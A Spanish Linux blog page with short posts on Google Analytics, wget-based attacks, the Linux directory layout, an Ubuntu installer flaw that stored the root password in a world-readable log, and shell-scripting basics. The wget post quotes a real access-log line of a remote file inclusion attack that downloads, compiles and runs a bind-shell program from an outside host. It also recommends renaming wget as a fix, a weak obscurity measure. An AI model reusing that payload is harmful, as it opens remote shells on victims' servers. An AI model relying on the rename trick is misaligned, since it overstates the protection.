GNU/Linux

Google Analytics ya funciona en GNU/Linux

Acabo de comprobar que la nueva interfaz de Google Analytics funciona en GNU/Linux.

Por fin puedo consultar las estadísticas desde Ubuntu!

Problemas de seguridad relacionados con wget

Cualquiera que tenga un servidor web y revise los logs de acceso podrá comprobar el gran número de ataques con scripts kiddies que se producen a lo largo del día. Intentos de ataque como éste son el pan de cada día para los sysadmin:

XXX.XXX.XXX.XXX - - [10/Jan/2005:23:09:31 -0600] "GET index.php?template=http://geocities.com/s3xmelayu/bc-x.gif?&cmd=cd%20/tmp;
wget%20http://geocities.com/s3xmelayu/bindtty.c;gcc%20-o%20webphp%20bindtty.c;
chmod%20+777%20webphp;rm%20-rf%20bindtty.c;./webphp HTTP/1.1" 200 4308 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt)"

Si usas mod_security para apache la mayoría de estos ataques se quedan en meros intentos, pero no dejan de ser molestos.

Mi compañero CrK01, de NewLight Systems, encontró por fin una solución tan simple como efectiva, basta con renombrar en nuestro sistema el binario "wget" a "baja" y el 80% de estos ataques fracasarán.

DISCLAIMER: Al cambiar el nombre de wget, todos los programas o scripts que hagan uso de éste dejarán de funcionar. No me hago responsable de los posibles fallos que este cambio pueda ocasionar. A mi compañero le funciona sin problemas pero cada sistema es un mundo :)

Estructura de directorios bajo GNU/Linux

Vía meneame llega un artículo de fentlinux que todo iniciado en GNU/Linux debería aprender. Se trata de la estructura de directorios, que al principio puede resultar algo confusa.

/: Raíz, debajo de ella nos encontraremos el resto de directorios.

/bin: Contiene comandos que pueden ser utilizados por todos los usuarios y el administrador del sistema.

/sbin: Comandos solo utilizables por el usuario root para la administración del sistema.

/boot: Contiene todo lo necesario para arrancar el sistema excepto los archivos de configuración, en el encontraremos la imagen del kernel con la que estamos trabajando.

/dev: Directorio de dispositivos, un archivo por cada dispositivo que el kernel de linux es capaz de reconocer.

/etc: Contiene archivos de configuración del sistema local, dentro de él encontraremos por ejemplo el subdirectorio X11, en el cual están los archivos de configuración del sistema gráfico.

/home: Directorio hogar de los usuarios, por debajo de él se encuentran los directorios de cada uno de los usuarios del sistema. Ocasionalmente y dependiendo de la distribución de linux o de nuestras preferencias personales, podríamos encontrar directorios que forman parte de un servidor ftp.

/lib: Imágenes de librerías compartidas que se necesitan para arrancar el sistema y ejecutar los comandos en el sistema de archivos raíz.

/mnt: Punto de montaje para sistemas de archivos montados localmente. Aquí podríamos ver particiones de linux, windows, datos, cdroms, etc. Suse por ejemplo monta los cds en /media.

/proc: Sistema de archivos virtual de información de procesos y del kernel. Comandos como ps o free sacan su información de este directorio.

/root: Directorio hogar del usuario root.

/tmp: Archivos temporales.

/usr: Bajo /usr encontramos la gran mayoría de los archivos existentes en un sistema linux, tales como documentación, casi la totalidad de los comandos de usuario, juegos, librerías, etc. Cabe destacar que en /usr/src/ encontraremos las fuentes del kernel, que nos servirán para posteriores compilaciones del kernel.

/var: Contiene información variable, como por ejemplo los logs del sistema, correo local, etc.

/sys: Sistema de archivos virtual sysfs específico al kernel 2.6, contiene información similar a la que se encuentra en /proc/, pero muestra una vista jerárquica de la información de dispositivos específica con relación a los dispositivos de conexión en caliente.

Fallo de seguridad en Ubuntu

El otro día leí vía meneame que se había descubierto un bug crítico en la distribución GNU/Linux de moda, Ubuntu.

El fallo se encuentra en un fichero log, /var/log/installer/cdebconf/questions.dat, donde están guardadas en texto plano todas las respuestas dadas durante la instalación, entre ellas la contraseña root, además este fichero es accesible por todos los usuarios del sistema.

Pequeña referéncia para scripts bajo GNU/Linux

Esta es una pequeña "chuleta" para programar scripts bajo GNU/Linux:

0. Notas:
- Cada instrucción debe ir en una línea de código diferente.

1. Asignación de variables:
- Asignar valor a variable: variable=valor
- Acceder al contenido de la variable: $variable

2. Entrada/Salida de datos:
- Entrada de datos:
  ·read variable: Lo introducido por el teclado será guardado en $variable
- Salida de datos:
  · echo $variable: Muestra por pantalla el contenido de $variable, al final siempre hace un salto de línea.

Distribuir contenido